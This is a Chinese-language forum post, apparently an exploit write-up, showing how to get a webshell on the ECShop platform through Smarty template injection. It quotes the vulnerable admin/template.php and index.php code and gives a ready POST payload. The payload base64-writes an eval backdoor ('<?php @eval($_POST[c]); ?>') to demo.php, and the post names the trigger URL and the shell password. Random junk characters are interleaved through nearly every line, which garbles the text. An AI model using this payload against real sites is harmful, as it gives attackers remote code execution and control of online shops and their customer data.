首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
$ I- {$ C l% Z, L* r) r' v) X; A7 a
; j" \8 s6 D/ x- |& c而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了, z; h* b$ z" k$ y8 `5 \
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码' N0 G( g& f) d2 f }
admin/template.php0 s1 V, O/ m5 g( b3 A+ K
( C$ {! ` W, ~, T# K1 if ($_REQUEST['act'] == 'update_library') : ~; o; Y' _9 Z( t. J) j
* v2 m' }: _, @ z7 ^% Y2
2 W# U% X4 d; F% m* K, x3 K0 c' v ]2 N+ O
; H7 u1 q. r& d$ j3 I3 {
! s0 \ G7 B# H0 N/ E/ w
8 F5 \4 H, g8 u5 J4 check_authz_json('library_manage'); - i# |; {+ ~6 t" g; Q: F( w
& _( m* Y3 g0 S, c
5 ! N Q; v7 x0 L3 z
" O# g7 T5 T' j, p
6 $html = stripslashes(json_str_iconv($_POST['html'])); * C4 ]+ r9 l1 g% H0 r: q8 G
0 R1 F3 {) [" k. x; I: c
7 / {2 E1 I8 l5 Q# W6 O
: L4 g5 O) k; G( j6 ]; r0 H; b% L& i8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
. [: F2 W1 Q* n! l
+ `! H' t: y! l3 \8 Q2 G9
$ S# _+ F' w; \: M1 v! T1 P9 O. C* }
10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
3 x' m+ s6 k. F) a$ o6 O% j
; [' C3 J+ p' |8 {; @9 _/ Z4 c11 8 L$ Z% J5 J8 B2 V; f
$ Q+ Z- d1 ]( S2 [/ X% q
12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
+ T$ J1 v! G( s( }7 Q/ i
2 c4 f0 s! t; N" W; I6 n+ ?13
( q3 \4 b V) l1 _9 k+ J
! } g5 f/ Z4 V14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
+ q3 y0 ^; o, _& j! v
) K0 t0 q' @3 O* _7 S. Q4 l15 {
( X( t8 c2 x2 z0 S# a$ }/ c# u+ C' ~- N, z$ H' F' V
16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); ( q/ z4 \( T7 F# I' |. s2 h
* U& F w3 I8 R* `6 c) ?
17 make_json_result('', $_LANG['update_lib_success']); 8 f# O( R% h2 X# a3 r% W9 M+ j" y
' R$ a U1 r) F5 j18 } 9 l% x& l" s0 r
- N$ @# Y) U8 K9 @/ I6 |9 S# O19 else 0 E* U6 T& ^' n9 f
5 A2 d4 Y" }( r% G, t20 {
( Y- P" l. [8 f4 D8 k4 g5 A- ^
0 ` g; ~' h+ k. ~" h& K6 j# {1 P! A21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
2 ^/ p% t1 I6 y" i ?5 M, a6 F0 _' r% [) B+ @
22 }
) Q6 o; }9 v' C, w) Q: ~* z$ p/ b& E* T! Y/ w
23 } - G4 Q+ j5 U' B3 _3 k# g: S Q
2 F% B4 b" K7 g$ E2 a6 @* T那么找个比较方便调用了模板的文件* T4 X; m1 u3 j3 @
index.php
' k- S- j! }5 U: ] f# v, y
4 Q. f' Y2 f; O5 k' e1 if ($act == 'cat_rec')
- x9 R% ]7 R$ ]6 Q1 W2 H6 r& g2 \, g! W, o
2
. g! B, U& j w! P L, c+ i8 x/ L$ U+ B3 ?* Z9 x
3 {
3 D0 `5 {7 {' B2 V
* z+ v. u9 D2 r9 b4 3 Z# B# N6 V7 E' r1 T: }
% h1 g8 R# r1 Y+ j$ u1 h
5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); Z. s8 {7 \4 w: ^% @6 J& w) k
) Q3 Z" P f, N: j1 W9 V
6
- t' c( I3 R( h& z/ p
5 q* s+ Z6 y' V& Y+ w3 T7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
5 o# w4 t1 ]' n7 ~8 z0 m- d+ w* O" A6 d7 Q
8 8 Z7 ~# ~6 ? M, H# D1 v z6 p
9 a1 U1 S6 S' W! T% [4 ^6 A
9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
, P# d! T- W* m( \: x+ j; h0 S/ l: z9 a0 d' B7 E
10 " p. c# J! i) p- ]7 Z
& m" n- E/ m/ F
11 include_once('includes/cls_json.php'); 2 C; X# d8 G1 |# K; t1 D
( D0 z2 M7 a. E* u- ]12
( {9 n( z; B9 U+ n7 u( c* L9 b; i) D) A; n C; a
13 $json = new JSON;
% M9 s) q$ v) M% f( n7 j/ o/ `' D3 T( i
14 # F1 P. V* g! _8 ]2 j: B
( P9 W3 ?7 }6 c
15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); 1 I& j6 p3 S( t
" D7 g% y) b& z8 D16 " \6 R+ N# C. u# c( U- R
3 B4 c+ f7 ]0 ~, b% [( h0 O
17 $children = get_children($cat_id); $ F$ w: x2 O* z9 ^3 {& o& k
) |- A, r& x6 n
18
4 ~7 n3 R! A4 }2 h) k- F4 Z6 D% s( R( H s$ Q8 A- l
19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品 + y+ l- D; l7 @4 H+ Z
( j) W7 N5 z! S: A. |, ?
20 ' G9 F j9 ^* V9 z( { P/ l8 l5 |" Z
1 E- C, B( ~! C
21 $smarty->assign('cat_rec_sign', 1);
7 Q& f8 o4 J- ~( @3 y: {% A5 W- M- o- {2 k, M2 X
22 6 L) H2 m% ~4 p! d# q* g
7 ^0 J! V1 g- R23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best & f7 ^' n* ]5 P% Q- L7 j
, `0 v0 D; G6 P0 v: X3 a
24
: Y/ L% \1 w! t9 X3 X% E
: x, F1 J* [/ F' ^) v0 V25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
# p7 _8 H1 y) M
) k7 ]1 ^- P; Z/ F( d26
& J4 e, C! _5 O; ]
- n0 s' k' ^# T27 echo $rec_array[$rec_type]; . a3 m6 B; b9 p+ P$ J( C
4 ^" z' q4 l: E28 - Y2 O8 w/ Z8 i- J( f3 M
7 j' s1 r& [& O1 j: `
29 die($json->encode($result)); ; Y$ g+ T& I9 @' ?, M7 p
, a, U: Z' ^1 U% n30 / W2 s4 C0 S \+ m7 C; u
" u" c; v# j' z2 K
31 } 8 Q4 F- H! M" M$ W* W
# B: S* a* \# q$ J& E I那么就有利用方法了6 R; r" L* w/ \1 a c/ g
post包到http://localhost/ec/admin/template.php?act=update_library
* `' u1 _( P9 g) \: t$ t1 r/ mPost内容:" Y: ~" j, n7 m, P
|" A8 X0 y9 B/ U9 R7 I- }* F' y2 W4 z( L2 y1 f
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} - _& d% A% Z* o1 i4 h9 z+ ~
3 \$ T9 Q- N! c8 {1 h" m3 t然后访问http://localhost/ec/index.php?act=cat_rec9 M+ g8 x, h B# c+ n4 p- O
1 t( w) i- ~% o- N0 bshel地址:http://localhost/ec/demo.php: O& _# p: S3 c' d9 M$ B; z- e
密码c5 Z# d& t" k/ X
$ @' o1 Y/ x& n. e! o. G |